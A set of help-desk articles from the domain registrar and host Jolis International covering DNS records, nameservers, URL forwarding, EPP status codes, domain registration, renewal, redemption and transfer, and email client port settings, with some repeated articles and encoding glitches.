4. On the Domain Manager Interface, click DNS Manager [see below]


Click to access DNS Manager


5. Next you will be on the DNS Manager Interface. (see below)


DNS Manager Interface

Initially we create for you 3 DNS records automatically (MX records & Nameserver Records). So you would then be required to create more 2 DNS records.


Add your Sender ID record

Scroll down to the form. For the name field, enter in "@" and change the drop down to TXT and then add your Sender ID record by filling in the "Content" field by copying and pasting the information from your Campaign Monitor account.


Add New Entry




Click the "Update DNS" button.
Repeat step 3 for the DomainKey record.

As per adding the Sender ID record, scroll to the form but this time enter in "cm._domainkey" to the name field and change the drop down to TXT. Then add your DomainKey record by filling in the "Content" field by copying and pasting the information from your Campaign Monitor account.


Add New Entry

Click the "Update DNS" button.


Records added.

Your records should now have been added and look similar to the following screen.


Add New Entry




Wait 30 minutes to an hour.

As soon as they've been updated, head back into your account and tell Campaign Monitor to verify your records by clicking on the "I've added the records..." button.
{{RD}}

If you wish to set default Nameservers for all your domains that you register through your Jolis International account, follow the instructions below:


  1. Login to your Jolis International account.
  2. Click Domain Profiles under Domains
  3. Click on the Edit Icon against your profile name
  4. Set default Nameservers for all domain registrations by entering your desired Nameservers in the fields
Nameserver 1:
Nameserver 2:
Nameserver 3:
Nameserver 4:

This automatically sets the Nameserves of all the domains you register through your account to the ones set above.

Alternatively, you can create or add a new profile by;

  1. Login to your Jolis International account
  2. Click on Domain Profiles under Domains
  3. Click on Add New Profile
  4. Fill in all the required fields including your preferred Nameservers.
  5. Check the "Make this the default profile"

You can set up URL forwarding to point your domain (e.g. http://yourdomain.com) or sub-domain (e.g. http://subdomain.yourdomain.com) to any destination page of your choice (e.g. http://jolis.net). Normally, when you set up URL forwarding for a domain, it will take effect within minutes.

Please note that you can only set up URL forwarding for a domain using Jolis default nameservers.

To set up URL forwarding, please follow the steps below:

1. Login to your Jolis account.
2. From Domains menu, select Manage Domains
3. Click on the "M" button beneath the domain your wish to change URL settings and URL forwarding
4. Under Management Tools Click URL forwarding
5. Enter the Address you want to Forward or Redirect to when one browsers for your Domain
6. Click Add Forward Rule OR Save Changes






{{RD}}

EPP Status Codes (Extensible Provisioning Protocol), also known as domain name status codes, are assigned to domain names in order to describe the status of a domain name at the Registry.

EPP status codes appear in the Registry whois record for a domain name (preceded by "Status:"), and while each domain has at least one status code, it's possible for a domain to have more than one EPP status code assigned to it at a time. The default EPP status code for a domain name is "OK" or "Active", which is removed if any other status code is applied to the domain.



The EPP domain status codes listed below are Verisign adopted status codes, many of which are also common to other Registries, although time frames listed in the descriptions may vary.

ClientDeleteProhibited
A ClientDeleteProhibited status code is assigned to a domain name by the Registrar when the domain name is locked. The ClientDeleteProhibited status code tells the Registry to reject requests to delete the domain, except in cases where the domain has expired. Domains with the EPP status code "ClientDeleteProhibited" are included in the zone files and can be updated, transferred, and renewed.

ClientHold
A ClientHold status code is assigned to a domain name by the Registrar, most commonly for non-payment. Domains with the EPP status code "ClientHold" are not included in the zone files, but can still be updated, transferred, deleted, or renewed.


ClientRenewProhibited
A ClientRenewProhibited status code is assigned to a domain name by the Registrar. The ClientRenewProhibited status code means that a domain name cannot be explicitly renewed. Domains with the EPP status code "ClientRenewProhibited" are included in the zone files and can be updated, transferred, or deleted.


ClientTransferProhibited
A ClientTransferProhibited status code is assigned to a domain name by the Registrar when the domain name is locked. The ClientTransferProhibited status code tells the Registry to reject requests to transfer the domain from one Registrar to another. Domains with the EPP status code "ClientTransferProhibited" are included in the zone files and can be updated, deleted, and renewed.


Client-Xfer-Prohibited
A Client-Xfer-Prohibited status code is assigned to a domain name by the Registrar when the domain name is locked. The Client-Xfer-Prohibited status code tells the Registry to reject requests to transfer the domain from one Registrar to another. Domains with the EPP status code "Client-Xfer-Prohibited" are included in the zone files and can be updated, deleted, and renewed.


ClientUpdateProhibited
A ClientUpdateProhibited status code is assigned to a domain name by the Registrar when the domain name is locked. The ClientUpdateProhibited status code tells the Registry to reject requests by the Registrar to update name servers, update auth codes, or sync the domain. The status code cannot be updated until the Registrar removes the ClientUpdateProhibited status code. Domains with the EPP status code "ClientUpdateProhibited" are included in the zone files and can be transferred, deleted, and renewed, once this status is removed.


Hold / ServerHold
A Hold / ServerHold status code is assigned to a domain name by the Registry. The Hold / ServerHold status code means that a domain name has been deleted from the DNS, most commonly for a financial, legal, or operational reason. Domains with the EPP status code "Hold / ServerHold" are not included in the zone files.


OK
An OK status code is assigned to a domain name when it is initially registered. Domains with an OK status code are included in the appropriate zone files so long as there are name servers associated with the domain name. Domains with the EPP status code "OK" can be updated, transferred, or renewed by the Registrar.


PendingDelete
A PendingDelete status code is assigned to a domain name by the Registry after the domain name has had a RedemptionPeriod status code for a period of 30 days. The PendingDelete status code lasts for a period of 5 days and it cannot be restored. Domains with the EPP status code "PendingDelete" are not included in the zone files.


PendingRestore
A PendingRestore status code is assigned to a domain name by the Registry if the Registrar has issued the EPP Restore command when the domain was previously assigned the RedemptionPeriod status code. A domain will have the PendingRestore status code for a period of 7 days, during which the Registrar must send a Restore report to the Registry through the Registrar Tool or the EPP Protocol. If the Registry receives the submitted Restore report within the 7-day period, the domain name will be moved to an "OK" status. If the Registry does not receive the Restore report within the 7-day period, the domain is moved back to a RedemptionPeriod status code and will remain there for 30 days. Domains with the EPP status code "PendingRestore" are included in the zone files.


RedemptionPeriod
A RedemptionPeriod status code is assigned to a domain name by the Registry if the domain is deleted 5 days after the Create Grace Period. When a domain name has a RedemptionPeriod status code, it will remain in this status for a period of 30 days, unless the Registrar issues a Restore command. Any other EPP commands issued by a Registrar, other than the Restore command, will fail when a domain has a RedemptionPeriod status code assigned to it. Domains with the EPP status code "RedemptionPeriod" are not included in the zone files.


ServerDeleteProhibited
A ServerDeleteProhibited status code is assigned to a domain name by the Registry as a method of locking the domain. The ServerDeleteProhibited status code means that the domain cannot be deleted from the Registry. Domains with the EPP status code "ServerDeleteProhibited" are included in the zone files and can be updated, transferred, and renewed.


ServerRenewProhibited
A ServerRenewProhibited status code is assigned to a domain name by the Registry. The ServerRenewProhibited status code means that a domain name cannot be renewed. Domains with the EPP status code "ServerRenewProhibited" are included in the zone files and can be updated, transferred, or deleted.


ServerTransferProhibited
A ServerTransferProhibited status code is assigned to a domain name by the Registry as a method of locking the domain. The ServerTransferProhibited status code means that the domain cannot be transferred from one Registrar to another. Domains with the EPP status code "ServerTransferProhibited" are included in the zone files and can be updated, deleted, and renewed.


ServerUpdateProhibited
A ServerUpdateProhibited status code is assigned to a domain name by the Registry as a method of locking the domain. The ServerUpdateProhibited status code tells the Registry to reject requests to update name servers, update auth codes, or sync the domain. Domains with the EPP status code "ServerUpdateProhibited" are included in the zone files and can be transferred, deleted, and renewed, once this status is removed.


Active
An Active status code is assigned to a domain name when it is initially registered. Domains with an Active status code are included in the appropriate zone files so long as there are name servers associated with the domain name. Domains with the EPP status code "Active" can be updated, transferred, or renewed by the Registrar.


autoRenewPeriod
An autoRenewPeriod status code is assigned to a domain name by the Registry when the domain is automatically renewed by the Registry on it.s expiration date. This occurs when the registry has not received an explicit renewal or delete command by the Registrar prior to expiration. A domain with an autoRenewPeriod status code can be deleted by the Registrar within 45 days for a credit of the renewal fee. Domains with the EPP status code "autoRenewPeriod" can be updated or deleted.


ClientLock
A ClientLock status code is assigned to a domain name by the Registrar when the domain is locked. The ClientLock status code tells the Registry to reject any request to update name servers, transfer, or delete the domain. The status code cannot be updated until the Registrar removes the ClientLock status code.


Inactive
An Inactive status code is assigned to a domain name by the Registry when the domain name has no delegated name servers. It may also be assigned to host or contact that is not associated with any domain names.


Lock / ServerLock
A Lock / ServerLock status code is assigned to a domain name by the Registry when the domain name is locked. The Lock / ServerLock status code tells the Registry to reject any requests to transfer, renew, or delete the domain. The status code cannot be updated until the Registry removes the Lock / ServerLock status code. Domain names that are currently involved in Sunrise or other domain disputes may be locked depending on the Registries policies.


PendingCreate
A PendingCreate status code is assigned to a domain name by the Registry after the domain name registration has been submitted, but is not yet complete.


PendingTransfer
A PendingTransfer status code is assigned to a domain name by the Registry when the domain name is in the process of being transferred from one Registrar to another.


PendingUpdate
A PendingUpdate status code is assigned to a domain name by the Registry when the domain name is in the process of being updated, but it is not yet complete.

Add your website to our Community Directory for Free.
You control all aspects of your site's listing, including your title, keywords, category(s) and a short description of your site.


Benefits

Generating traffic to your site requires both patience and persistence- you'll want to promote your site in as many ways as you can. Here are just some of the perks that come with showcasing your site in our Community Directory:

  • Help improve your site's search engine optimization.
  • Promote your site to the thousands of visitors who come to our site every day!
  • Create listings that are searchable by both keyword and category.

Still not sure? Take a look through the directory and see all the great sites that make up the Community Directory ... and ask yourself why you're not there!

To activate your directory listing

  1. Login to your Theg7.Com account
  2. Click Manage Domains under Domains
  3. Click [M] beneath the domain name for which you want to activate Directory Listing for
  4. Under Management Tools, Click Directory Listing
  5. Enter the respective info that you want to use and click Submit

Inclusion in the Jolis Community Directory does not guarantee a higher search engine ranking. In conjunction with other marketing and SEO efforts, a listing in the directory may help improve your SEO.

If you wish to set default Nameservers for all your domains that you register through your Jolis International account, follow the instructions below:


  1. Login to your Jolis International account.
  2. Click Domain Profiles under Domains
  3. Click on the Edit Icon against your profile name
  4. Set default Nameservers for all domain registrations by entering your desired Nameservers in the fields
Nameserver 1:
Nameserver 2:
Nameserver 3:
Nameserver 4:

This automatically sets the Nameserves of all the domains you register through your account to the ones set above.

Alternatively, you can create or add a new profile by;

  1. Login to your Jolis International account
  2. Click on Domain Profiles under Domains
  3. Click on Add New Profile
  4. Fill in all the required fields including your preferred Nameservers.
  5. Check the "Make this the default profile"

Jolis Intercom Domain Validation Email Info

Beginning January 1, 2014, ICANN, the governing body for top level domain names, introduced a new change for domain owners requiring them to verify their contact information through a simple verification link sent to their email address.

How do I validate my domain contact information?

You will be sent an email, to the address you listed with your domain, asking you to click a link to validate your email address. Once you click the verification link, you’ll be immediately taken to a web page confirming your contact information has been verified; then you’re done!

You cannot use the domain until you click the link so don’t ignore the email; open it and click the link as soon as possible.

How can I view my domain contact details?

You can view your domain contact details through your Jolis.Net account, visit Domain services -> Whois Lookup -> Enter you domain and Submit. or by doing a WhoIs search which shows what’s listed publicly. If you have domain privacy, your domain contact information will be protected from public viewing so going to your domain manager is the best option.Visit Domains ->Manage Domains -> Click on the "M" Icon below the domain under Management tools choose Contact Information.

When does my domain contact information need to be validated?

When you make a change to a domain name including;

1. Registering a new domain name (if you use the same contact information again you don’t have to verify every time, see below)
2. Renewing an existing domain
3. Transferring a domain
4. Or, changing the contact info of a valid domain

Do I have to do this for every domain?

Once you have completed the verification process once, all future new domain registrations using the same registrant contact information will be considered verified and will not be subject to the verification process.

How long do I have to validate my domain contact information?

You have 15 days from the time you received your first notification. It’s best to respond right away, but reminders will be sent out on days 5, 10 and 13 to remind you if you haven’t clicked the link.

What if I didn’t get the email?

If you don’t see the email within 24 hours, check your spam folder first). If you still do not receive the email, please contact our support department to verify the correct email was entered and have the verification email resent through a helpdesk ticket.

What happens if I don’t click the validation link?

Let’s not even go there… but, just because you’re curious; if you don’t validate your details within 15 days of your initial notification, your domain will be suspended and any website or email using the domain will be unavailable. When someone tries to view the domain it will display a page explaining that the domain needs to be verified.

Jolis Intercom Domain Validation Email Info

Beginning January 1, 2014, ICANN, the governing body for top level domain names, introduced a new change for domain owners requiring them to verify their contact information through a simple verification link sent to their email address.

How do I validate my domain contact information?

You will be sent an email, to the address you listed with your domain, asking you to click a link to validate your email address. Once you click the verification link, you’ll be immediately taken to a web page confirming your contact information has been verified; then you’re done!

You cannot use the domain until you click the link so don’t ignore the email; open it and click the link as soon as possible.

How can I view my domain contact details?

You can view your domain contact details through your Jolis.Net account, visit Domain services -> Whois Lookup -> Enter you domain and Submit. or by doing a WhoIs search which shows what’s listed publicly. If you have domain privacy, your domain contact information will be protected from public viewing so going to your domain manager is the best option.Visit Domains ->Manage Domains -> Click on the "M" Icon below the domain under Management tools choose Contact Information.

When does my domain contact information need to be validated?

When you make a change to a domain name including;

1. Registering a new domain name (if you use the same contact information again you don’t have to verify every time, see below)
2. Renewing an existing domain
3. Transferring a domain
4. Or, changing the contact info of a valid domain

Do I have to do this for every domain?

Once you have completed the verification process once, all future new domain registrations using the same registrant contact information will be considered verified and will not be subject to the verification process.

How long do I have to validate my domain contact information?

You have 15 days from the time you received your first notification. It’s best to respond right away, but reminders will be sent out on days 5, 10 and 13 to remind you if you haven’t clicked the link.

What if I didn’t get the email?

If you don’t see the email within 24 hours, check your spam folder first). If you still do not receive the email, please contact our support department to verify the correct email was entered and have the verification email resent through a helpdesk ticket.

What happens if I don’t click the validation link?

Let’s not even go there… but, just because you’re curious; if you don’t validate your details within 15 days of your initial notification, your domain will be suspended and any website or email using the domain will be unavailable. When someone tries to view the domain it will display a page explaining that the domain needs to be verified.

Follow the steps below From your Jolis International account:

  1. Under Domains, Click on Domain Manager,



2.Click the M button to manage the domain 



3.Click on URL Forwarding .

 
4. Type www in the first input box  and enter the domain that you want to point to. Please see illustration below.


5. Add  the same domain but  with out the www in the first input box named Forward domain:  as illustrated below then submit and you are done.


Submit and you are done. incase it does not work instantly. Please you give it some minutes to resolve.





Domain Registration

Domains are active immediately, but the nameserver information can take up to 48 hours to propagate to all DNS servers worldwide.

No. Unfortunately, once a domain name is registered, we are unable to get our cost back from the registry or make any changes to the domain name.
Please type carefully when ordering!

The customer that is registering the domain is the owner of any domain registered through Jolis. Unlike some companies, we do not take ownership of your domain. This allows you to make changes to the domain any time because YOU are the legal owner of the domain name.

Registrar LOCK means that the domain name may not be transferred to a different registrar and changes cannot be made. In order to remove the lock from a domain, you must have access to your Jolis.Net account. If you do have access to this, please follow the instructions below to change / update your domain name information.


1. Login to your Jolis.Net account
2. Click Manage Domains (on left under Domains Section)
3. Click the 'M' icon button beneath the domain name
Here you can lock / unlock your domain or click Contact Information to change/update the whois information.

Note: If your domain registrar is Domain Registry of America, this does not apply to you.

Domain Registry of America is a domain registration company that has been known to use deceptive marketing to trick customers into transfering domain names to their registrar service. Often times, a customer will receive a notice that their domain is expiring and that they should renew it. Unsuspecting customers will not think twice about this and opt to renew. What really is happening is not a renewal, it is a domain transfer.

If your domain registrar is NOT Domain Registry of America, ignore their requests to "renew" (transfer). Contact your domain registrar to "renew your domain name.

If you are unsure who your registrar is, you can do a WHOIS search on our website. For example, go to click here. After following the steps that follow you should be able to view the domain information.

Domain name registration is the process of acquiring a domain name from a domain name registrar. Follow the instructions here to register a domain
Be sure to read our domain policy so you are fully aware of the terms under which a domain is registered.

Currently Jolis can register .com, .biz, .co.uk, .org.cn, .ug, .law.ug, .ac.ug, .net, .us, .com.cn, .org.uk, .co.ug, .med.ug, .or.ug, .org, .cc, .name, .tv, .inc.ug, .ngo.ug, .sch.ug, .info, .cn, .net.cn, .ws, .ltd.ug, .sc.ug and all ugandan domains like .co.ug, .ac.ug, .ug, .ne.ug to mention but a few. View full list of all domain extensions here
However, we can host all domain name extensions.

Registrar is a company that registers your domain name for you.

Domain Registration is the process in which a registrar (a company certified by ICANN) adds your domain name as a new entry inside the master database. In order to use a domain name, it must first be registered (added to a database). The company InterNIC holds the master database of domain names.

You can find the current registrar for a domain name with the Jolis whois look up Click Here.
Alternatively, Visit http://www.jolis.net/whois/?example.com, where example.com is your domain name.

There are three major issues that could cause your site not to be available from your web browser:

1. The domain name registration hasn't propagated yet. It takes approximately 24 - 72 hours for any newly registered domain to show up on the Web. During this 24 - 72 hour period, important information about the domain name (including information about its name servers, registrar, and contact information) is being sent to all of the name servers around the world. You will not be able to access your domain until all of the name servers that lie between your local computer and your server have received and processed this information. A similar process occurs any time a domain is renewed after its expiration date. If you renew your domain before its expiration date, however, no downtime will be experienced.
To check the status of your domain name registration, you can perform a Whois search on our website.

2. Your domain name registration has expired. Domain names will go off-line if they have expired. You can also perform a Whois search to check the status of your domain registration as well. If the Status field reads anything other than Active, you should contact customer support through a helpdesk ticket.

3. The Name Servers aren't set correctly. If your domain is registered with us, create a ticket and our support staff will get back to you as soon as possible to verify that the name servers are configured correctly or manage and configure your DNS Records.

Unfortunately, we are unable to change or edit the spelling of a domain after it has been registered. We try to register the domain exactly as you enter it. Should the registration succeed, you are charged, even if the domain you entered was not what you actually intended to type.
You do have the option of cancelling the domain so that it is no longer registered to you, but cancelling does not entitle you to a refund of any part of your registration fee. Cancelling a domain is a permanent action.

For you to register a domain name through Jolis you are required to place an order for the domain through your Jolis.Net account. See instructions below;

1. Login to your Jolis.Net account with your username & password, if you have forgotten you can use the Lost Password link on the Login page.
2. Under Domain Services choose Register Domain, See below


3. Enter the Domain name you would want to register and choose the Extension from the list for example .com, .net, .info, etc, see below




4. Click the CHECK AVAILABILITY tab , if the domain is availbale it will shows you but if its already taken it will notify you too and you can make another choice of the domain it also gives you various available options, see below



In case you have more than one item in your cart that you would not want to pay for you can remove by deleting them and latter update your cart to have only that that you can pay for at that particular time, see below




5. From the list choose the payment method that you wish to use, and agree to the terms of paymet, and submit, see below;

Sorry. You can't change. Once a domain name is registered you are unable to change the name. Please always take care while typing in your domain name before you confirm the registration.


Otherwise if you would like to register a domain name please click here

Domain Renewal

Domain name (s) need to be renewed on a yearly basis. You can get your domain name (s) renewed by placing an order for their renewal through your account. To do so:

  1. Login to your account.
  2. Click Manage Domains under Domains..
  3. Click the 'R' icon beneath the domain name (s) you want to renew.
  4. You will receive a notification that says 'example.com added to cart', click the View Cart icon in the right corner, or go there by clicking "My Cart" under "Account" main menu.
  5. In the cart you can select the number of years you want to add to your domain name. Click the 'Update Cart' button when you do so.
Domain renewal order (s) are normally completed within 2 minutes.

If you received a free domain name for example .sch.ug, and you wish to renew it after its expiration you will have to place an order for domain renewal through your Jolis.Net account. If you have questions regarding the renewal, please contact us by creating a Helpdesk ticket or call us on +256-752-567374 | +256-712-567374

If your domain is close to its expiration, you should get it renewed immediately to avoid inconveniences. Make sure that you renew your domain name at least 2 weeks before it is set to expire. Please place an order for its renewal through your Jolis.Net account see instructions here.

If you have hosting with us and your domain registration is handled through Jolis, we always generate and send your your Hosting renewal invoice but not the domain renewal invoice you are therefore required to place an order for domain renewal yourself.

You may contact the billing department by creating a helpdesk ticket Or, you may call +256-752-567374 | +256-712-567374.

A registrar hold or client hold status means that your domain has expired. Regardless of what the expiration date shows, it has expired. If your domain name was registered through Jolis, you may renew it directly through your Jolis.Net account by following the instructions below:

1. Login to your Jolis.Net
2. Click Manage Domains (under Domains)
3. Click the "R" icon beneath the domain name
4. Go to My Cart (under My Account)


If your domain was not registered through Jolis, and/or Jolis did not transfer the registrar over, you must contact your domain's registrar in order to renew the domain name. We will not be able to renew or reinstate an expired domain that was not registered through Jolis.

Failure to renew during a client/registrar hold will result in a status of "redemption period". The fees to renew under registrar/client hold are the normal fees you pay. To renew under redemption period will cost considerably more.

For any questions about this, you may create a Helpdesk ticket.

Once your domain is in "redemption period" status, you will pay a considerable amount more than usual to renew the domain. If your domain's registrar was transferred to Jolis, or if you registered through Jolis, please contact us through a Helpdesk ticket to redeem the domain, include the domain name to be redeemed in your ticket. We shall therefore send you a domain redemption invoice worth $200. Once payment is made using any of our supported forms of payment we shall redeem and renew your domain for a period of one year.

Failure to renew the domain will result in a "pending delete" status at which you will pay even more to renew than you would in redemption period. 

Pending delete is the last "status" of a domain name before it becomes available for registration. Once it reaches Pending Delete, you WILL pay a much higher amount than you normally would to get the domain renewed. It may cost hundreds of dollars to renew once in Pending Delete.

If you fail to renew in the Pending Delete status, the domain will be released for anyone to register. Now, you may be thinking that you'll just wait until it is released and register it. This works some of the time, but there are no guarantees that someone else will not get it first. Since you don't know when exactly it is released, you cannot know when to register it.


To renew while in Pending Delete status, contact Jolis ASAP by creating a Helpdesk ticket

Unfortunately it is not possible to renew your domain name through Jolis in that case. Only the Registrar of a domain name has the rights to renew it.

When a domain name expires, we give you a grace period of 14 days to renew it at normal rates.

After the 14 days grace period, it goes into a state called "Pre-Redemption" and it will be in this state for 16 days.

After the 30 days from expiry date, it's state changes to "Full-Redemption" and it stays in this state for 60 days.

After the 60 days, it's then deleted from the registry and open to whoever registers it on a first come basis.

When a domain name expires, we give you a grace period of 14 days to renew it at normal rates.
After the 14 days grace period, it goes into a state called "Pre-Redemption" and it will be in this state for 16 days.
After the 30 days from expiry date, it's state changes to "Full-Redemption" and it stays in this state for 60 daysAfter the 60 days, it's then deleted from the registry and open to whoever registers it on a first come basis.You can only redeem this domain name today at $50.If your domain's registrar was transferred to Jolis, or if you registered through Jolis, please contact us through a Helpdesk ticket to redeem the domain, include the domain name to be redeemed in your ticket. 

Note:

The $50 is valid only while the domain name is in pre-redemption state, if it enters into full redemption, redeeming it costs about $199
Failure to renew the domain will result in a "pending delete" status at which you will pay even more to renew than you would in redemption period.

Yes its possible. To renew a domain that belongs to some one else cost more than the normal charges. It cost $30 to renew it. Renewing a domain that does not belong to you, does not make you own it. The domain still belongs to the original owner until the ownership is changed. You can contact on +256 752 567374 or create a Ticket for more info.

See how to create Ticket from here

Domain Transfers

To check the status of your domain transfer:
1. Login to your Jolis.Net account.
2.Click Transfer Status under Domains.
3. Enter the domain name you have ordered the transfer for and click the SUBMIT button.


Note: This only shows status of incoming transfers. If you are transferring your domain name away from our company, please check with the registrar where you are transferring to for the status.

Unfortunately a domain name cannot be unlocked when it has expired. Furthermore all management options for expired domains are automatically locked until it is renewed.

For instructions of how to renew your domain name, kindly refer to this article

Before initiating the transfer of your domain name to our company, please make sure that:
1. The domain name to be transferred is not in 'locked' Status.
2. You have access to the administrative contact email for the domain.
3. You can provide us with the domain EPP key code, applying to domains for which there is such a code. Please note that EPP codes are case sensitive.
4. There are more than 15 days until the domain name's expiration date.
5. The domain name was registered for the first time more than 60 days ago.
6. The domain name has extension that the Company is able to register.

If these conditions are present then you can order a domain name transfer.Please Click Here to proceed.

The cost to transfer a domain depends on the domain extension (TLD). You can find the costs on the domain pricing page or place an order for the transfer. Once you are done you can make the payment using any of the payment modes here

Unfortunately, you cannot transfer an expired domain to another registrar / hosting company. This is an ICANN official restriction which allows no exceptions.

When you first choose to transfer a domain to Jolis, we do not automatically become your registrar. When you choose "transfer" during sign up, a Domain Transfer e-mail is sent to you with instructions on confirming and authorizing your domain name transfer.

If you do not have access to that e-mail, please contact domains@jolis.net in order to initiate the registrar transfer. Before a registrar change can be made, the following MUST be true:

  1. The domain whose registrar is changing must have been active for at least 60 days. An expired domain or a new domain registered less than 60 days ago cannot be transferred to a new registrar. These are not Jolis\'s policies, these are the policies of ICANN, the organization that oversees all domain name registrations.
  2. You must have access to the ADMIN email address listed in the domain\'s WHOIS entry. When a transfer of registrar is initiated, an email from the current registrar is sent to the admin email address to confirm that the owner of the domain accepts the registrar change.
  3. The domain CANNOT be in a LOCKED status. If it is, please contact the current registrar, have them unlock the domain, and then request a registrar transfer. If you have any further questions about the transferring of registrars, please contact domains@jolis.net.

We are happy to clear up any confusion.

Domain names cannot be transferred if they are expired, registered less than 60 days ago, or the status is LOCKED. If you feel your registrar denied your transfer in error, please contact your registrar. If they are not responsive, please contact domains@jolis.net. For assistance with this issue.

If you have time left on your domain's registration and you choose to transfer the registrar to Jolis, your remaining time is added to the one year of registration that we provide. For example, assume your domain has 6 months left until it expires.
You transfer the domain registrar to Jolis. At this point, you will have 1.5 years of time left until the domain registration expires.

An EPP key or Auth Code (Authorization code) as known by some registrars is one of the safeguards 
against unauthorized transfers of domain name registrations and it protects your rights as a domain owner. 
The EPP key is required when transferring .com, .net, .org, .biz, .info and .us domain names. 
It is not possible to initiate a domain name transfer for these domains without an EPP code. 

Obtain your EPP / Auth Code for domain names registered through Jolis International, please follow the instructions below:

1. Login to your Jolis.Net account.
2. Click the Manage Domains link under Domains.
3. Search for the domain using the search menu.
4. Click the 'M' icon below the domain name you wish to get a EPP key for.
5. Click the EPP Key/ Auth Code on your Leftside just as shown below in the figure below:

Here you will see your code if your domain is NOT registered by Jolis, you will need to contact your current registrar 
to obtain the EPP key before being able to initiate a domain transfer. Please note that EPP codes are case sensitive.

If you are having issues with your host/registrar and you cannot obtain your EPP key, you may not be able to manage 
your domain and transfer it elsewhere. In such cases it may be best to use a new domain name for your website.

The minimum time for a domain name transfer is 5 business days. It is difficult to provide an exact time frame because the procedure depends on the time it takes the owner to confirm the transfer and the time your current registrar takes to accept or reject the transfer.

You should receive a notification in your email when the transfer completes along with all necessary information about the process.

Email Management

Open Outlook. Click on Tools and choose Email Accounts.



Click on View or change existing email accounts and click Next.



If you attempted to create any email accounts but were unsuccessful, you can remove them from here. Otherwise, click Add.



Choose POP3 and click Next.



For User Info, type your name and full email address. For Logon Info, type your full email address as the username, and your password.



For Server Info, type mail.domainname.com for both SMTP and POP3.
Then click More Settings




Next Click Outgoing Server and Check the "My outgoing server (SMTP) requires authentication" as seen below

More Settings

Next: Click Advanced on the same window as seen below: (Change the default SMTP port from 25 to 587) and Choose "TLS for encrypted Connection Type"
Then click OK to save changes

SMTP Port

Your account will be shown in the list of email accounts configured in Outlook. Click Finish.



In Outlook, click Send/Receive.

The most common reasons for Jolis customers to be unable to send emails through Outlook Express are wrong Outlook settings, or blocked IP address in the servers firewall.



Use the correct Mail Client settings:

Incoming mail server (POP3/IMAP server): mail.yourdomain.com
Outgoing mail server (SMTP server): mail.yourdomain.com
Username: the full e-mail address like: email@yourdomain.com

For detailed Outlook configuration settings see more here.

Ensure that you have whitelisted your IP address in the servers firewall

Security being paramount at Jolis we ensure that only whitelisted IP addresses can access the SMTP server, else you wont be able to send out mails. Find instructions on how to whitelist your IP address here

The most common reasons for you to be unable to receive emails through Outlook Express are wrong Outlook Express settings, exceeded space quota of the email account, or an expired domain or hosting account.

Use the correct Mail Client settings:

  • Incoming mail server (POP3/IMAP server): mail.yourdomain.com
  • Outgoing mail server (SMTP server): mail.yourdomain.com
  • Username: the full e-mail address like email@yourdomain.com
  • Password: If you are not sure what your email password is we strongly recommend that you do a password rest through your G7Panel or G7Mail client
For detailed Outlook Express configuration settings see more here.

Check Email Quota


If you have exceeded the quota of your email account, you will not be able to receive any more email messages. You should either remove some of the old messages or raise the space quota of your email account.


You can check each email account's email quota usage from:


Login to G7Panel -> Click Mailboxes -> . In the table there is a column called Used space and Quota which gives information about the space usage of each mail account.


To change the quota of an account:


Login to G7Panel -> Click Mailboxes -> Click Edit icon under Actions and change your quota to something higher.

Expired domain or hosting account

When your domain or hosting expires you wont be able to use email services on the domain, you are therefore required to get it renewed so that you can re-active email services. For a domain renewal see instructions here, to check if your hosting expired, Login to your Jolis.Net account -> Click View Hosting Accts under My Packages -> You will see the status of your Hosting account as Suspended. You can use any of our supported payment modes to payoff your invoice.

In order to change the email address associated with your account, please call +256-752-567-374.Our Billing Department will be happy to make this change for you. Please be prepared to provide your domain name and account verification.


If you paid with a credit or debit card, please have the last 4 digits ready when calling. If you make payment through other means, billing will verify security through other methods.You may also email billing@jolis.net to make this change.

1. Microsoft Outlook and Outlook Express

To change the outgoing mail port from 25 to 587:

  1. In Outlook, drop down the�Tools�menu

  2. Choose�Accounts or Account Options

  3. Click on the�Mail�tab

  4. Click on�Properties

  5. Click on the�Advanced�tab

  6. Change the outgoing mail from port�25�to port�587

  7. Make sure that the box that says�This connections requires a secure connection(SSL)�is NOT checked

  8. Click�OK

  9. Restart Outlook

2. Mozilla 1.x To change the outgoing mail port from 25 to 587:

  1. Launch the Mozilla mail client

  2. Drop down the�Edit�menu, and choose�Mail and Newsgroup Account Settings

  3. Click�Outgoing Server (SMTP)

  4. On the right hand side next to server name it should say�Port: 25

  5. Change that number from 25 to�587

  6. Click�OK

  7. Restart Mozilla

3. Netscape 7.x


To change the outgoing mail port from 25 to 587:

  1. Launch the Netscape mail client

  2. Drop down the�Edit�menu, and choose�Mail and Newsgroup Account Settings

  3. Click�Outgoing Server (SMTP)

  4. On the right hand side next to server name it should say�Port: 25

  5. Change that number from 25 to 587

  6. Click�OK

  7. Restart Netscape

4. Netscape 4.x


To change the outgoing mail port from 25 to 587:

  1. Launch Netscape

  2. Drop down the�Edit�menu, and choose�Preferences

  3. Expand�Mail and Newsgroups�by click the + sign

  4. Click�Mail Servers

  5. On the right side change the�Outgoing Mail Server:�from�mail.yourdomain.com�tomail.yourdomain.com:587

  6. Click�OK

  7. Restart Netscape

5. Eudora for Windows


Eudora has chosen to hide the Port change option in verison 6.0 and up, making it more difficult to make this change. If you have purchased Eudora, we would suggest contacting them about making this option available by default again. To enable changeing ports:

  1. Navigate to your Eudora install directory.

  2. Look in the Eudora directory for the directory "extrastuff".

  3. In this directory is a file named "esoteric.epi". Drag (copy or move) this file into the main Eudora directory. There will now be options extra listed, including a Ports page.

To change the outgoing mail port from 25 to 587:

  1. Launch Eudora

  2. Drop down the�Tools�menu, and choose�Options

  3. Click on�Ports

  4. Change the port from�25�to�587

  5. Click�OK

  6. Restart Eudora

6. Eudora for Mac


As above, Eudora has hidden the ports option in version 6.0 and up. If you have purchased Eudora, we suggesting contacting them about this, as there is no reason to make this difficult. To change the outgoing mail port from 25 to 587:

  1. For version 6.0 and up, quit Eudora and look in the Eudora Application Folder for the folder "Extras". In this folder is a file "Esoteric Settings". Drag this file into the "Eudora Stuff" folder,

  2. Launch Eudora

  3. Drop down the�Special�menu, and choose�Settings

  4. Click on�Ports and Protocols

  5. Change the port from�25�to�587

  6. Click OK

  7. Restart Eudora

7. Entourage

To change the outgoing mail port from 25 to 587:

  1. Launch Entourage

  2. Drop down the�Tools�menu, and choose�Accounts

  3. Click on�Mail�, and go to�Properties

  4. Click�Advanced Sending Options

  5. Make sure the box that says "This POP service requires a secure connection" is�unchecked

  6. Check the box that says "Override default SMTP port:" and enter in port�25

  7. Click OK

  8. Restart Entourage

This tutorial shows you how to set up Apple Mail to work with your email account.

1. Open up Apple Mail Client
2. From the Mail menu, select Preferences.
3. Go to the Accounts tab, and then click the plus sign (+) at the bottom of the Accounts box.
